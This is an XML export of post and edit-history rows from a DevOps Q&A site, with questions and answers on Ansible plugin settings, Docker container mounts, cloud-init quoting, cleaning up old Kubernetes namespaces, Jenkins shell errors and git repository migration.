  <row Id="19170" PostHistoryTypeId="5" PostId="5928" RevisionGUID="94d3559b-8883-4c48-be7a-f00b562b0d55" CreationDate="2019-01-13T12:19:49.497" UserId="10550" Comment="Edit question headline to more accurately express my question" Text="In Ansible, I want to use a plugin parameter.  For example, the [`profile_tasks` plugin](https://docs.ansible.com/ansible/latest/plugins/callback/profile_tasks.html) supports a parameter to &quot;Adjust the sorting output of summary tasks&quot;.&#xD;&#xA;&#xD;&#xA;I enable this plugin by whitelisting it in the `ansible.cfg` file by:&#xD;&#xA;&#xD;&#xA;    [defaults]&#xD;&#xA;    callback_whitelist = profile_tasks&#xD;&#xA;&#xD;&#xA;But how do I use the parameter supported by the plugin?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19171" PostHistoryTypeId="4" PostId="5928" RevisionGUID="94d3559b-8883-4c48-be7a-f00b562b0d55" CreationDate="2019-01-13T12:19:49.497" UserId="10550" Comment="Edit question headline to more accurately express my question" Text="Ansible How to use plugin parameter" ContentLicense="CC BY-SA 4.0" />
  <row Id="19177" PostHistoryTypeId="2" PostId="5976" RevisionGUID="8600bc61-d9ea-4a5d-adc5-170be75d5a9e" CreationDate="2019-01-13T16:40:32.670" UserId="10550" Text="IMHO, the idea of having an agent or master or both boils down to this:&#xD;&#xA;&#xD;&#xA;&gt; A mechanism to **continuously** manage states of the nodes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If such a tool allows this, then &quot;self-healing&quot; capability is the obvious benefits.&#xD;&#xA;&#xD;&#xA;In the case of Ansible, as far as I'm concerned, there are no built-in a mechanisms to provide the self-healing capabilities (because no daemons are running continuously to fetch the states and to react to them.)&#xD;&#xA;&#xD;&#xA;That said, self-healing doesn't sound like the problem a configuration management tool should solve so maybe it's not something one might consider &quot;advantage&quot; of other tools against Ansible." ContentLicense="CC BY-SA 4.0" />
  <row Id="19186" PostHistoryTypeId="2" PostId="5979" RevisionGUID="c6158ace-cf62-44e7-91c9-b66d2c0764f1" CreationDate="2019-01-14T07:58:35.960" UserId="11688" Text="Thanks for the responses. I was able to figure out. I ran the complete command from win_command instead of having the arguments in stdin.&#xD;&#xA;&#xD;&#xA;Satesh" ContentLicense="CC BY-SA 4.0" />
  <row Id="19187" PostHistoryTypeId="2" PostId="5980" RevisionGUID="733f0e19-bc4c-4a23-a0ef-44d860f72f32" CreationDate="2019-01-14T08:27:10.407" UserId="11815" Text="Two containers (A,B) were created from the same image.&#xD;&#xA;&#xD;&#xA;The two containers have the same mount path (-v) and port number (-p).&#xD;&#xA;&#xD;&#xA;The &quot;A&quot; container is currently in the &quot;stop&quot; state.&#xD;&#xA;The &quot;B&quot; container is currently running.&#xD;&#xA;&#xD;&#xA;Can I change the mount path and port number of the &quot;A&quot; container?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19188" PostHistoryTypeId="1" PostId="5980" RevisionGUID="733f0e19-bc4c-4a23-a0ef-44d860f72f32" CreationDate="2019-01-14T08:27:10.407" UserId="11815" Text="I have a question while using the Docker" ContentLicense="CC BY-SA 4.0" />
  <row Id="19189" PostHistoryTypeId="3" PostId="5980" RevisionGUID="733f0e19-bc4c-4a23-a0ef-44d860f72f32" CreationDate="2019-01-14T08:27:10.407" UserId="11815" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19190" PostHistoryTypeId="10" PostId="5897" RevisionGUID="65905aaa-cc79-435e-9547-e70702ac1cfc" CreationDate="2019-01-14T08:45:34.130" UserId="13" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="19196" PostHistoryTypeId="50" PostId="5743" RevisionGUID="03acb8c2-48b4-4929-81d4-1c50921c1f1a" CreationDate="2019-01-14T13:02:15.577" UserId="-1" />
  <row Id="19197" PostHistoryTypeId="2" PostId="5982" RevisionGUID="d88adaed-0cf3-4f79-86c7-f4b239daf63a" CreationDate="2019-01-14T13:35:55.083" UserId="11823" Text="I've not tested it, but as the doc says, you can configure the plugin via two ways : ini entries or env.&#xD;&#xA;&#xD;&#xA;Add below your snippet the following and it should work : &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;[defaults]&#xD;&#xA;callback_whitelist = profile_tasks&#xD;&#xA;&#xD;&#xA;[callback_profile_tasks]&#xD;&#xA;sort_order = descending&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="19198" PostHistoryTypeId="2" PostId="5983" RevisionGUID="fa71dda4-521f-42ac-9ed7-cf534b13d3a4" CreationDate="2019-01-14T13:54:39.533" UserId="11823" Text="A bit late here, but no, you can't have multiple gitlab-ci files per repository.&#xD;&#xA;You can see more information in the following links : &#xD;&#xA;&#xD;&#xA; - https://gitlab.com/gitlab-org/gitlab-ce/issues/18157&#xD;&#xA; - https://gitlab.com/gitlab-org/gitlab-ce/issues/28592&#xD;&#xA;&#xD;&#xA;Now, there are some work in progress about this, but it's not available yet.&#xD;&#xA;For example, you can see here ( https://gitlab.com/gitlab-org/gitlab-ce/issues/56214 ) that they are working on pipeline which can include other (complete) pipelines.&#xD;&#xA;&#xD;&#xA;The `include` keyword is more about reducing the size of your main gitlab-ci file." ContentLicense="CC BY-SA 4.0" />
  <row Id="19199" PostHistoryTypeId="2" PostId="5984" RevisionGUID="23b1034f-2509-4006-93d6-809a1b620044" CreationDate="2019-01-14T14:50:04.837" UserId="7730" Text="Containers are designed to be disposable. Delete the &quot;A&quot; container and recreate it with the new volume mount and port number. Note that deleting the container will delete any changes made within the container specific RW filesystem layers. If you have changes in there that you need to preserve, then you really want to make those volume mounts. In the end, the workflow looks like:&#xD;&#xA;&#xD;&#xA;    docker container rm ${old_container_id}&#xD;&#xA;    docker container run -v ${new_volume} -p ${new_port} ...&#xD;&#xA;&#xD;&#xA;As for changing an existing container, there is:&#xD;&#xA;&#xD;&#xA;    docker container update ...&#xD;&#xA;&#xD;&#xA;however, changing volumes and port bindings are not part of the settings designed to be changed from this. Going under the hood of the docker engine to try to change these settings manually is unsupported and may result in unexpected behavior or a broken engine." ContentLicense="CC BY-SA 4.0" />
  <row Id="19200" PostHistoryTypeId="2" PostId="5985" RevisionGUID="704bb981-c4ab-4939-baa5-f9a1c778b74b" CreationDate="2019-01-14T15:05:50.947" UserId="11801" Text="In my case problem was related with droped IPtables FORWARD policy. I had investigated it with the help of &quot;microk8s.inspect&quot; command. InitContainer couldn't get access to the Internet and it stopped deployment of whole pod with main container. Solving was easy - &quot;sudo iptables -P FORWARD ACCEPT&quot; and redeployment with Helm." ContentLicense="CC BY-SA 4.0" />
  <row Id="19201" PostHistoryTypeId="2" PostId="5986" RevisionGUID="59e8a647-423c-4184-9dfc-41f1c6c3b7d1" CreationDate="2019-01-14T17:25:40.240" UserId="10697" Text="So, I have this part in my cloud-init:&#xD;&#xA;&#xD;&#xA;    runcmd:&#xD;&#xA;      - echo : RSA 'node.crt' &gt;&gt; /etc/ipsec.secrets&#xD;&#xA;&#xD;&#xA;I literally can't make it to work. &#xD;&#xA;&#xD;&#xA;I tried these variations:&#xD;&#xA;&#xD;&#xA;    runcmd:&#xD;&#xA;      - echo : RSA 'node.crt' &gt;&gt; /etc/ipsec.secrets&#xD;&#xA;&#xD;&#xA;    runcmd:&#xD;&#xA;      - echo &quot;: RSA 'node.crt'&quot; &gt;&gt; /etc/ipsec.secrets&#xD;&#xA;&#xD;&#xA;    runcmd:&#xD;&#xA;      - echo \: RSA 'node.crt' &gt;&gt; /etc/ipsec.secrets&#xD;&#xA;&#xD;&#xA;    runcmd:&#xD;&#xA;      - echo &quot;\: RSA 'node.crt'&quot; &gt;&gt; /etc/ipsec.secrets&#xD;&#xA;&#xD;&#xA;(PS: Sorry for my English. )" ContentLicense="CC BY-SA 4.0" />
  <row Id="19202" PostHistoryTypeId="1" PostId="5986" RevisionGUID="59e8a647-423c-4184-9dfc-41f1c6c3b7d1" CreationDate="2019-01-14T17:25:40.240" UserId="10697" Text="echo colon to file in cloud-init" ContentLicense="CC BY-SA 4.0" />
  <row Id="19203" PostHistoryTypeId="3" PostId="5986" RevisionGUID="59e8a647-423c-4184-9dfc-41f1c6c3b7d1" CreationDate="2019-01-14T17:25:40.240" UserId="10697" Text="&lt;amazon-web-services&gt;&lt;yaml&gt;&lt;bash&gt;&lt;cloud-init&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19204" PostHistoryTypeId="2" PostId="5987" RevisionGUID="f3785761-7f55-410d-bb23-abee03a1d645" CreationDate="2019-01-14T19:59:44.877" UserId="11568" Text="While I don't know of any operator that allows for this directly, it can be done with a bash one liner with `awk`, `xargs`, `sed`, and gnu `date`. I've taken it from [this  post][1] and modified it to do namespaces, and to not delete the `default` or `kube-*` namespaces.&#xD;&#xA;&#xD;&#xA;    kubectl get namespaces -o go-template --template '{{range .items}}{{.metadata.name}} {{.metadata.creationTimestamp}}{{&quot;\n&quot;}}{{end}}' | awk '$2 &lt;= &quot;'$(date -d '1 week ago' -Ins --utc | sed 's/+0000/Z/')'&quot; &amp;&amp; $1 !~ /(default|kube.*)/ { print $1 }' | xargs --no-run-if-empty kubectl delete namespace&#xD;&#xA;&#xD;&#xA;Be careful using this though, it's worth running it without the final xargs call to verify that it is selecting the namespaces you are interested in.&#xD;&#xA;&#xD;&#xA;[1]: https://stackoverflow.com/questions/48934491/kubernetes-how-to-delete-pods-based-on-age-creation-time" ContentLicense="CC BY-SA 4.0" />
  <row Id="19205" PostHistoryTypeId="2" PostId="5988" RevisionGUID="a54e5a9f-f90b-49ae-830a-198793d1c471" CreationDate="2019-01-14T20:43:35.843" UserId="6162" Text="I recommend that you have an expire-date as label or [annotation][1] on the namespaces used for test. Then you can have a [Job][2] to clean-up expired namespaces.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://kubernetes.io/docs/concepts/overview/working-with-objects/annotations/&#xD;&#xA;  [2]: https://kubernetes.io/docs/concepts/workloads/controllers/jobs-run-to-completion/" ContentLicense="CC BY-SA 4.0" />
  <row Id="19206" PostHistoryTypeId="6" PostId="4021" RevisionGUID="480c35e0-312e-468a-bc9b-df4d2712bee7" CreationDate="2019-01-14T21:41:04.653" UserId="1180" Comment="tags edited" Text="&lt;java&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19207" PostHistoryTypeId="24" PostId="4021" RevisionGUID="480c35e0-312e-468a-bc9b-df4d2712bee7" CreationDate="2019-01-14T21:41:04.653" Comment="Proposed by 1180 approved by -1 edit id of 917" ContentLicense="CC BY-SA 4.0" />
  <row Id="19208" PostHistoryTypeId="5" PostId="4021" RevisionGUID="6a818239-9289-44be-9aa0-34a70f9b048e" CreationDate="2019-01-14T21:41:04.653" UserId="40" Comment="remove noise; edited tags" Text="I am preparing a course about &quot;Java for DevOps&quot;. From a DevOps perspective, what topics should be covered during the meeting?&#xD;&#xA;&#xD;&#xA;I was thinking about the following topics:&#xD;&#xA;&#xD;&#xA; 1. What is DevOps?&#xD;&#xA; 2. Why should I learn Java or a programming language that the team is using from a DevOps perspective?&#xD;&#xA; 3. Java itself&#xD;&#xA;    * keywords&#xD;&#xA;    * keyword categories&#xD;&#xA;    * OOP&#xD;&#xA;    * FP&#xD;&#xA;    * Hello World&#xD;&#xA;&#xD;&#xA;The aim of this question is to get feedback. On one hand I think that these topics will cover &quot;Java for DevOps&quot;, but on the other hand I would like to know whether other people agree with this or what topics they would cover if they will organize the course?&#xD;&#xA;&#xD;&#xA;The target audience consists of Senior/Medior Quality Assurance, Senior/Medior Operations and some Junior Developers.&#xD;&#xA;&#xD;&#xA;**Rationale**&#xD;&#xA;&#xD;&#xA;According to Wikipedia, DevOps is the intersection of Development, Operations and Quality Assurance.&#xD;&#xA;&#xD;&#xA;Development: creates features, i.e. add business value&#xD;&#xA;Operations: ensures that the software runs stable&#xD;&#xA;Quality Assurance: tests the software by clicking in the UI for example&#xD;&#xA;&#xD;&#xA;DevOps: intersection, i.e. automated, stable, tested software sooner to the customer&#xD;&#xA;&#xD;&#xA;As development creates new feature, it would be beneficial for the company and also the developers that Testers and Operations automate more and start to fix bugs, then Development could create more features.&#xD;&#xA;&#xD;&#xA;If everything goes well, perhaps some testers and operations could create features in a couple of months/years as well.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19209" PostHistoryTypeId="4" PostId="4021" RevisionGUID="6a818239-9289-44be-9aa0-34a70f9b048e" CreationDate="2019-01-14T21:41:04.653" UserId="40" Comment="remove noise; edited tags" Text="What topics should at least be included in a Java for DevOps course?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19210" PostHistoryTypeId="6" PostId="4021" RevisionGUID="6a818239-9289-44be-9aa0-34a70f9b048e" CreationDate="2019-01-14T21:41:04.653" UserId="40" Comment="remove noise; edited tags" Text="&lt;java&gt;&lt;training&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19211" PostHistoryTypeId="6" PostId="2557" RevisionGUID="e0d087aa-a614-420e-a080-c1715c6cf0b5" CreationDate="2019-01-14T21:44:31.203" UserId="40" Comment="edited tags" Text="&lt;docker&gt;&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19212" PostHistoryTypeId="2" PostId="5989" RevisionGUID="3a74183d-6955-44fc-98ab-5e46cf0a87ea" CreationDate="2019-01-14T22:46:07.480" UserId="9838" Text="Do you use grafana for the dashboard? If so, you can customize with the [prometheus plugin for Jenkins][1]&#xD;&#xA;See also: [https://piotrminkowski.wordpress.com/2017/08/29/visualizing-jenkins-pipeline-results-in-grafana/][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Prometheus+Plugin&#xD;&#xA;  [2]: https://piotrminkowski.wordpress.com/2017/08/29/visualizing-jenkins-pipeline-results-in-grafana/" ContentLicense="CC BY-SA 4.0" />
  <row Id="19213" PostHistoryTypeId="2" PostId="5990" RevisionGUID="1b561ae1-c39a-49d4-8df8-714df322cb8a" CreationDate="2019-01-14T23:09:09.737" UserId="9662" Text="Why might the below bash command gives me `Syntax error: redirection unexpected` when running on a Jenkins JNLP slave in Kubernetes cluster?  This works fine on a local machine.&#xD;&#xA;&#xD;&#xA;    IFS='/' read -r -a branch &lt;&lt;&lt; &quot;${1}&quot;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19214" PostHistoryTypeId="1" PostId="5990" RevisionGUID="1b561ae1-c39a-49d4-8df8-714df322cb8a" CreationDate="2019-01-14T23:09:09.737" UserId="9662" Text="Redirection Error on JNLP Slave" ContentLicense="CC BY-SA 4.0" />
  <row Id="19215" PostHistoryTypeId="3" PostId="5990" RevisionGUID="1b561ae1-c39a-49d4-8df8-714df322cb8a" CreationDate="2019-01-14T23:09:09.737" UserId="9662" Text="&lt;jenkins&gt;&lt;shell-script&gt;&lt;bash&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19216" PostHistoryTypeId="5" PostId="5990" RevisionGUID="ca472d54-3e37-43c5-ad21-a4d5b0d5e6c7" CreationDate="2019-01-14T23:18:52.667" UserId="9662" Comment="added 152 characters in body" Text="Why might the below bash command gives me `Syntax error: redirection unexpected` when running on a Jenkins JNLP slave in Kubernetes cluster?  This works fine on a local machine.&#xD;&#xA;&#xD;&#xA;    IFS='/' read -r -a branch &lt;&lt;&lt; &quot;${1}&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;Environment Details&#xD;&#xA;&#xD;&#xA;- JLNP Slave is using Dockerhub `latest`&#xD;&#xA;- Slave being ran with `kubernetes plugin`&#xD;&#xA;- Jenkins v2.156 on master." ContentLicense="CC BY-SA 4.0" />
  <row Id="19217" PostHistoryTypeId="4" PostId="5990" RevisionGUID="ca472d54-3e37-43c5-ad21-a4d5b0d5e6c7" CreationDate="2019-01-14T23:18:52.667" UserId="9662" Comment="added 152 characters in body" Text="Redirection Error on Jenkins JNLP Slave" ContentLicense="CC BY-SA 4.0" />
  <row Id="19218" PostHistoryTypeId="5" PostId="5990" RevisionGUID="ff8a219d-c6f7-4fc0-a086-9a0b5785fa05" CreationDate="2019-01-15T00:53:51.120" UserId="9662" Comment="edited body" Text="Why might the below bash command gives me `Syntax error: redirection unexpected` when running on a Jenkins JNLP slave in Kubernetes cluster?  This works fine on a local machine.&#xD;&#xA;&#xD;&#xA;    IFS='/' read -r -a branch &lt;&lt;&lt; &quot;${1}&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;Environment Details&#xD;&#xA;&#xD;&#xA;- JNLP Slave is using Dockerhub `latest`&#xD;&#xA;- Slave being ran with `kubernetes plugin`&#xD;&#xA;- Jenkins v2.156 on master." ContentLicense="CC BY-SA 4.0" />
  <row Id="19222" PostHistoryTypeId="5" PostId="5990" RevisionGUID="835f060a-220f-4bd9-8be6-bc47b04d43eb" CreationDate="2019-01-15T01:46:10.507" UserId="9662" Comment="added 76 characters in body" Text="Why might the below bash command gives me `Syntax error: redirection unexpected` when running on a Jenkins JNLP slave in Kubernetes cluster?  This works fine on a local machine.&#xD;&#xA;&#xD;&#xA;    IFS='/' read -r -a branch &lt;&lt;&lt; &quot;${1}&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;Environment Details&#xD;&#xA;&#xD;&#xA;- JNLP Slave is using Dockerhub `latest`&#xD;&#xA;- Slave being ran with `kubernetes plugin`&#xD;&#xA;- Jenkins v2.156 on master.&#xD;&#xA;- Using script management utility [mc](https://webbrandon.github.io/mc/). Command is from a sourced function in another script. (e.g. `. &quot;/script.bash&quot;`)&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19224" PostHistoryTypeId="5" PostId="5990" RevisionGUID="f48c1664-59f3-4c52-b481-b3d700e98621" CreationDate="2019-01-15T05:42:21.877" UserId="9662" Comment="tool has no reflection of issue when script is ran directly the same issue exist." Text="Why might the below bash command gives me `Syntax error: redirection unexpected` when running on a Jenkins JNLP slave in Kubernetes cluster?  This works fine on a local machine.&#xD;&#xA;&#xD;&#xA;    IFS='/' read -r -a branch &lt;&lt;&lt; &quot;${1}&quot;&#xD;&#xA;&#xD;&#xA; I have also tried the below which worked but gives `Syntax error: &quot;(&quot; unexpected (expecting &quot;}&quot;)` on Jenkins slave:&#xD;&#xA;&#xD;&#xA;    IFS='/'&#xD;&#xA;    branch=($1)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;Environment Details&#xD;&#xA;&#xD;&#xA;- JNLP Slave is using Dockerhub `latest`&#xD;&#xA;- Slave being ran with `kubernetes plugin`&#xD;&#xA;- Jenkins v2.156 on master.&#xD;&#xA;- Command is from a sourced function in another script. (e.g. `. &quot;/script.bash&quot;`)&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19225" PostHistoryTypeId="4" PostId="5990" RevisionGUID="5cbf5ee2-e1f1-492f-b155-39131af6fe15" CreationDate="2019-01-15T06:14:49.447" UserId="9662" Comment="edited title" Text="Bash Tokenization Errors on Jenkins JNLP Slave" ContentLicense="CC BY-SA 4.0" />
  <row Id="19226" PostHistoryTypeId="5" PostId="5990" RevisionGUID="1a75e62e-b176-4896-b00e-449a8ef1538c" CreationDate="2019-01-15T06:23:14.503" UserId="9662" Comment="more ref" Text="Why might the below bash command gives me `Syntax error: redirection unexpected` when running on a Jenkins JNLP slave in Kubernetes cluster?  &#xD;&#xA;&#xD;&#xA;    IFS='/' read -r -a branch &lt;&lt;&lt; &quot;${1}&quot;&#xD;&#xA;&#xD;&#xA; I have also tried the below which worked but gives `Syntax error: &quot;(&quot; unexpected (expecting &quot;}&quot;)` on Jenkins slave:&#xD;&#xA;&#xD;&#xA;    IFS='/'&#xD;&#xA;    branch=($1)&#xD;&#xA;&#xD;&#xA;These both work fine on a local machine.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;Environment Details&#xD;&#xA;&#xD;&#xA;- JNLP Slave is using Dockerhub [jenkins/jnlp-slave:latest](https://hub.docker.com/r/jenkins/jnlp-slave/dockerfile)&#xD;&#xA;- Slave being ran with [kubernetes plugin](https://github.com/jenkinsci/kubernetes-plugin)&#xD;&#xA;- Jenkins v2.156 on master.&#xD;&#xA;- Command is from a sourced function in another script. (e.g. `. &quot;/script.bash&quot;`)&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19227" PostHistoryTypeId="50" PostId="5385" RevisionGUID="329efa2f-d5dc-41ea-8b9f-8d941ee1e51b" CreationDate="2019-01-15T07:01:40.490" UserId="-1" />
  <row Id="19229" PostHistoryTypeId="2" PostId="5993" RevisionGUID="283d8f3d-070f-49ed-95eb-44eba543ef39" CreationDate="2019-01-15T07:19:33.470" UserId="9662" Text="It seems the default shell for `sh()` in Jenkins is Bourne.  By updating the `sh()` with the correct shell this allows the below usage:&#xD;&#xA;&#xD;&#xA;    sh'''#!/bin/bash&#xD;&#xA;        IFS='/'&#xD;&#xA;        branch=($1)&#xD;&#xA;        # Use it.&#xD;&#xA;    '''&#xD;&#xA;&#xD;&#xA;I cannot say this is a the best answer so I do hope someone can provide a better clarification.  For one thing I would think by updating the default shell in the image with `chsh -s /bin/bash` I wouldn't need to set it.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19230" PostHistoryTypeId="5" PostId="5990" RevisionGUID="9f049df2-5df1-4a34-91cd-a920fc2a2b70" CreationDate="2019-01-15T07:31:23.557" UserId="9662" Comment="deleted 12 characters in body" Text="Why might the below bash commands give me an error on a Jenkins JNLP slave in Kubernetes cluster? Each work on a local machine.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Error:** `Syntax error: redirection unexpected` &#xD;&#xA;&#xD;&#xA;    IFS='/' read -r -a branch &lt;&lt;&lt; &quot;${1}&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Error:** `Syntax error: &quot;(&quot; unexpected (expecting &quot;}&quot;)`:  &#xD;&#xA;&#xD;&#xA;    IFS='/'&#xD;&#xA;    branch=($1)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;Environment Details&#xD;&#xA;===================&#xD;&#xA;- JNLP Slave is using Dockerhub [jenkins/jnlp-slave:latest](https://hub.docker.com/r/jenkins/jnlp-slave/dockerfile)&#xD;&#xA;- Slave being ran with [kubernetes plugin](https://github.com/jenkinsci/kubernetes-plugin)&#xD;&#xA;- Jenkins v2.156 on master.&#xD;&#xA;- Command is from a sourced function in another script. (e.g. `. &quot;/script.bash&quot;`)&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19231" PostHistoryTypeId="5" PostId="5993" RevisionGUID="72b75dec-1e8e-4a3b-b5cb-b7342b0a4e9a" CreationDate="2019-01-15T07:33:59.940" UserId="9662" Comment="added 59 characters in body" Text="I cannot say this is a the best answer so I do hope someone can provide a better clarification.  &#xD;&#xA;&#xD;&#xA;It seems the default shell for `sh()` in Jenkins is Bourne.  By updating the `sh()` with the correct shell this allows the below usage:&#xD;&#xA;&#xD;&#xA;    sh'''#!/bin/bash&#xD;&#xA;        IFS='/'&#xD;&#xA;        branch=($1)&#xD;&#xA;        # Use it.&#xD;&#xA;    '''&#xD;&#xA;&#xD;&#xA;This doesn't resolve the the redirection error.  Also I would think by updating the default shell in the image with `chsh -s /bin/bash` I wouldn't need to set it but I still do.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19232" PostHistoryTypeId="2" PostId="5994" RevisionGUID="ba2f5bb9-812e-442d-896a-79a84a0780a0" CreationDate="2019-01-15T09:03:17.787" UserId="11833" Text="It seems your have not opened your 8080 port in Security Groups in AWS.&#xD;&#xA;&#xD;&#xA;Steps:&#xD;&#xA;&#xD;&#xA;1. Goto AWS console&#xD;&#xA;&#xD;&#xA;2. Click `Security Group` and select the security group you have assigned your EC2 instance.&#xD;&#xA;&#xD;&#xA;3. Click `Edit Inbound Rules`&#xD;&#xA;&#xD;&#xA;4. Add a `Custom TCP Rule` and add 8080 in the `Port Range`.&#xD;&#xA;&#xD;&#xA;5. You will now see Jenkins rise from the grave :) i.e. first time installation screen.&#xD;&#xA;&#xD;&#xA;P.S.:&#xD;&#xA;My Friend, if you have reached till Step 5, you know what to do next :)" ContentLicense="CC BY-SA 4.0" />
  <row Id="19238" PostHistoryTypeId="2" PostId="5996" RevisionGUID="4974aad2-71c2-4b06-bd9a-c57df9c3f6b6" CreationDate="2019-01-15T14:43:08.327" UserId="11841" Text="I had expirienced the same problem, I needed to renew manually my PAT.&#xD;&#xA;&#xD;&#xA;[VS][1]&#xD;&#xA;&#xD;&#xA;[MSDN][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://developercommunity.visualstudio.com/content/problem/318764/no-ability-to-renew-one-of-your-personal-access-to.html&#xD;&#xA;  [2]: https://social.msdn.microsoft.com/Forums/en-US/431f9a06-db69-49d4-8bc0-3bff9911f959/vsts-private-agent-authentication-with-pat-personal-access-tokens?ranMID=24542&amp;ranEAID=TnL5HPStwNw&amp;ranSiteID=TnL5HPStwNw-bBl9hy5b6hOJq0sTuMsSjA&amp;epi=TnL5HPStwNw-bBl9hy5b6hOJq0sTuMsSjA&amp;irgwc=1&amp;OCID=AID681541_aff_7593_1243925&amp;tduid=(ir__ycnzsugzpttxs6zupjtyxx1ox22xhsa9agaxcn2h00)(7593)(1243925)(TnL5HPStwNw-bBl9hy5b6hOJq0sTuMsSjA)()&amp;irclickid=_ycnzsugzpttxs6zupjtyxx1ox22xhsa9agaxcn2h00" ContentLicense="CC BY-SA 4.0" />
  <row Id="19239" PostHistoryTypeId="2" PostId="5997" RevisionGUID="72eb7e8f-a49a-4fef-923f-6f4d3b15c789" CreationDate="2019-01-15T18:45:16.527" UserId="11840" Text="We have a git repository that is currently hosted on Azure Devops and have to migrate it to our in house TFS 2017 git (the move is due to a business decision).&#xD;&#xA;&#xD;&#xA;Our planned strategy is to upload a an initial copy of the repository code to our TFS 2017, while the dev team continue to work actively on the original Azure Devops repository, so that the dev leads have an opportunity to review the new TFS 2017 setup and ensure they are happy with it before committing to switch over. We will not switch over until the dev leads give their OK.&#xD;&#xA;&#xD;&#xA;How can we make updates to the new repository so that they do not get too far out of sync with the original? (such updates would be called &quot;deltas&quot;?)&#xD;&#xA;&#xD;&#xA;Is there a way to migrate these updates/deltas from the original to new repository WITH their commit message history?" ContentLicense="CC BY-SA 4.0" />
  <row Id="19240" PostHistoryTypeId="1" PostId="5997" RevisionGUID="72eb7e8f-a49a-4fef-923f-6f4d3b15c789" CreationDate="2019-01-15T18:45:16.527" UserId="11840" Text="How to migrate git repositories and their commit messages" ContentLicense="CC BY-SA 4.0" />
  <row Id="19241" PostHistoryTypeId="3" PostId="5997" RevisionGUID="72eb7e8f-a49a-4fef-923f-6f4d3b15c789" CreationDate="2019-01-15T18:45:16.527" UserId="11840" Text="&lt;git&gt;&lt;azure-devops&gt;&lt;tfs&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="19242" PostHistoryTypeId="5" PostId="5994" RevisionGUID="60a9082a-300b-46df-b6a6-3ff1df5dd4d3" CreationDate="2019-01-15T18:53:02.457" UserId="11833" Comment="added grammar" Text="It seems your have not opened your 8080 port in Security Groups in AWS.&#xD;&#xA;&#xD;&#xA;Steps:&#xD;&#xA;&#xD;&#xA;1. Go to AWS console&#xD;&#xA;&#xD;&#xA;2. Click `Security Group` and select the security group that you have assigned to your EC2 instance.&#xD;&#xA;&#xD;&#xA;3. Click `Edit Inbound Rules`&#xD;&#xA;&#xD;&#xA;4. Add a `Custom TCP Rule` and add `8080` in the `Port Range`.&#xD;&#xA;&#xD;&#xA;5. You will now see Jenkins rise from the grave :) i.e. first time installation screen.&#xD;&#xA;&#xD;&#xA;P.S.:&#xD;&#xA;My Friend, if you have reached till Step 5, you know what to do next ;)" ContentLicense="CC BY-SA 4.0" />
  <row Id="19244" PostHistoryTypeId="2" PostId="5998" RevisionGUID="34bae413-5462-4a23-a5d6-c6188ac43e87" CreationDate="2019-01-15T22:15:19.380" UserId="4175" Text="Simply keep pushing stuff between the repositories. Git pushes are designed for exactly that. &#xD;&#xA;&#xD;&#xA;So, if `origin` is the old repository, and `new`is the new one, and you want to move new stuff in the `master` branch from `origin` to `new`, then, locally:&#xD;&#xA;&#xD;&#xA;    git checkout master &amp;&amp; git reset --hard    # to clean up any local changes, optional&#xD;&#xA;    git pull origin &#xD;&#xA;    git push new&#xD;&#xA;&#xD;&#xA;That's it. `master` is a branch like any other, so if you have multiple branches, rinse and repeat." ContentLicense="CC BY-SA 4.0" />
  <row Id="19245" PostHistoryTypeId="2" PostId="5999" RevisionGUID="cb761f40-b05f-48fb-8a0c-7e9f4c90ba3a" CreationDate="2019-01-15T22:38:34.423" UserId="11645" Text="You should use of the [Retrieve Latest Artifact][1] endpoint. It uses the [repository layouts][2] to know what is the version in your artifact path, so you want to make sure those are set right for you. In this case, it's a standard Maven layout, which is the default for Maven repo, so you're all good.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.jfrog.com/confluence/display/RTF/Artifactory+REST+API#ArtifactoryRESTAPI-RetrieveLatestArtifact&#xD;&#xA;  [2]: https://www.jfrog.com/confluence/display/RTF/Repository+Layouts" ContentLicense="CC BY-SA 4.0" />
